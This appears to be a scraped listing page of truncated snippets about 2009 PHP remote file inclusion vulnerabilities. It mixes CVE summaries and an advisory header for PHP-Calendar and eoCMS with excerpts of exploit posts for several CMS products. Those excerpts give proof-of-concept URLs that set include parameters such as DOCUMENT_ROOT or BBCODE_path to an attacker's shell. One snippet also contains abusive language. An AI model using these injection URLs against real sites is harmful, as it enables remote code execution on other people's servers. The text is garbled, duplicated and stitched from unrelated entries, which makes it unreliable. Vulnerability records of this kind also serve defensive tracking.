CVE-2009-3702

Multiple absolute path traversal vulnerabilities in PHP-Calendar 1.1 allow remote attackers to include and execute arbitrary local files via a full pathname in the configfile parameter to 1 update08.php or 2 update10.php. NOTE: in some environments, this can be leveraged for remote file inclusion...

CVE-2009-3702

CVE-2009-3702 affects PHP-Calendar 1.1, where the configfile parameter in update08.php and update10.php allows including arbitrary local files and can enable remote file inclusion in some environments (e.g., UNC paths, ftp/ftps/ssh2 URLs). The root cause is inadequate filtering of $GET['configfil...

CVE-2009-3702

Multiple absolute path traversal vulnerabilities in PHP-Calendar 1.1 allow remote attackers to include and execute arbitrary local files via a full pathname in the configfile parameter to 1 update08.php or 2 update10.php. NOTE: in some environments, this can be leveraged for remote file inclusion...

Joomla JCalPro 1.5.3.6 Remote File Inclusion

Joomla Component comjcalpro Remote FiLe include RFI Author : kaMtiEz [email protected] Homepage : http://www.indonesiancoder.com Date : 13 December, 2009 Software Information + Vendor : http://www.anything-digital.com + Download : http://dev.anything-digital.com/jcal-pro-downloads.html + version...

60cycleCMS 2.5.0 Remote File Inclusion

60cycleCMS = 2.5.0 Remote File Include Exploit Date: 19-12-2009 Author: cr4wl3r Software Link: http://60cycle.net Tested on: GNU/LINUX 60cycleCMSpath/common/sqlConnect.php?DOCUMENTROOT=SHELL DIRECTORY/something...

SaurusCMS 4.6.4 Remote File Inclusion

Exploit Title: SaurusCMS = 4.6.4 Multiple RFI Exploit Date: 19-12-2009 Author: cr4wl3r Software Link: http://www.saurus.info Version: N/A Tested on: GNU/LINUX Code class.writeexcelworkbook.inc.php global $classpath; requireonce $classpath."excel/class.writeexcelbiffwriter.inc.php"; requireonce...

Ptag 4.0.0 Remote File Inclusion

Exploit Title: Ptag sqltable = ptagprefix."session"; $this - cookiename = ptagprefix."session"; //If RSS mode, switch session to non-viewed tracker. if ptagoutput == "rss" parent::construct$ptagsql, sha1""; else parent::construct$ptagsql; ? PoC Ptagpath/lib/session.php?ptagdir=Shell Code sql.php...

[ISecAuditors Security Advisories] PHP-Calendar <= v1.1 'configfile' Remote and Local File Inclusion vulnerability

============================================= INTERNET SECURITY AUDITORS ALERT 2009-011 - Original release date: October 13th, 2009 - Last revised: December 18th, 2009 - Discovered by: Juan Galiana Lara - CVE ID: CVE-2009-3702 - Severity: 8.5/10 CVSS Base Score...

FestOS 2.2.1 Remote File Inclusion

Exploit Title: FestOs $reports header"Location:index.php"; include "includes/reportheader.php"; ? 3xplo!t : festospath/admin/reportsplacement.php?ABSOLUTEFILEPATH=Shell Code : FestOS.php requireonce$config'ABSOLUTEFILEPATH'."core/sessions.php"; 3xplo!t :...

gpEasy 1.5RC3 - Remote File Inclusion

gpEasy 1.5RC3 - Remote File Inclusion Exploit Title: gpEasy = 1.5RC3 Remote FIle Include Exploit Date: 18-12-2009 Author: cr4wl3r Software Link: http://sourceforge.net/projects/gpeasy/files/ Version: N/A Tested on: GNU/LINUX Code adminpassword.php :...

gpEasy 1.5RC3 - Remote File Inclusion

Exploit Title: gpEasy = 1.5RC3 Remote FIle Include Exploit Date: 18-12-2009 Author: cr4wl3r Software Link: http://sourceforge.net/projects/gpeasy/files/ Version: N/A Tested on: GNU/LINUX Code adminpassword.php : requireonce$GLOBALS'rootDir'.'/include/admin/adminusers.php'; 3xplo!t :...

gpEasy 1.5RC3 Remote File Inclusion

Exploit Title: gpEasy = 1.5RC3 Remote FIle Include Exploit Date: 18-12-2009 Author: cr4wl3r Software Link: http://sourceforge.net/projects/gpeasy/files/ Version: N/A Tested on: GNU/LINUX Code adminpassword.php : requireonce$GLOBALS'rootDir'.'/include/admin/adminusers.php'; 3xplo!t :...

PHP-Calendar 1.1 Remote/Local File Inclusion

============================================= INTERNET SECURITY AUDITORS ALERT 2009-011 - Original release date: October 13th, 2009 - Last revised: December 18th, 2009 - Discovered by: Juan Galiana Lara - CVE ID: CVE-2009-3702 - Severity: 8.5/10 CVSS Base Score...

SomeryC 0.2.5 Remote File Inclusion

someryC 0.2.5 Remote File Inclusion Vulnerability ======================================================== = Author: AnTi SecuRe = = Home : www.vxx9.cc = = Email: [email protected] = = TeaM : SauDi ViRuS TeaM = ======================================================== script name :someryC...

Loggix Project <= 9.4.5 Multiple Remote File Inclusion

No description provided by source. WX Guest Book 1.1.208 Vulns By xxHackerXzX hacker from nepal [email protected] Product name: WX Guestbook 1.1.208 Product vendor: http://www.ekin0x.com/r57.txt This product suffers from multiple SQLi and persistent XSS vuln. SQL Search Vuln The search...

eoCMS 0.9.03 Remote File Inclusion

eoCMS '; $BBCODEoverride = getStandard'./js/bbcodepress/'; // $BBCODEoverride = getStandard'./js/bbcodepress/','-eocms'; Example : path/js/bbcodepress/bbcode-form.php?BBCODEpath=Shell 9r33tZ T0 : 4ll 1nd0n3s14n r34l h4ck3r ... fuck : x-ace m0th3r fuck3r 1nd0n3s14n r34l sn1ch tomahawk b19 l4m3rs...

Automne.ws CMS 4.0.0rc2 Remote File Inclusion

Automne.ws CMS 4.0.0rc2 Multiple RFI Vulnerability Created By 1nd0n3s14n l4m3r c -- 14/12/2oo9 No Sanitize Variable $SERVER"DOCUMENTROOT" automne/imagezoom.php?DOCUMENTROOT=Shell automne/isalive.php?DOCUMENTROOT=Shell automne/admin/backtrace.php?DOCUMENTROOT=Shell...

CVE-2009-4319

PHP remote file inclusion vulnerability in js/bbcodepress/bbcode-form.php in eoCMS 0.9.03 and earlier, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the BBCODEpath parameter...

Remote file inclusion

PHP remote file inclusion vulnerability in js/bbcodepress/bbcode-form.php in eoCMS 0.9.03 and earlier, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the BBCODEpath parameter...

CVE-2009-4319

CVE-2009-4319 describes a PHP remote file inclusion in eoCMS (version 0.9.03 and earlier) via js/bbcodepress/bbcode-form.php. The flaw occurs when register_globals is enabled and allows an attacker to execute arbitrary PHP code by supplying a URL in the BBCODE_path parameter. The available source...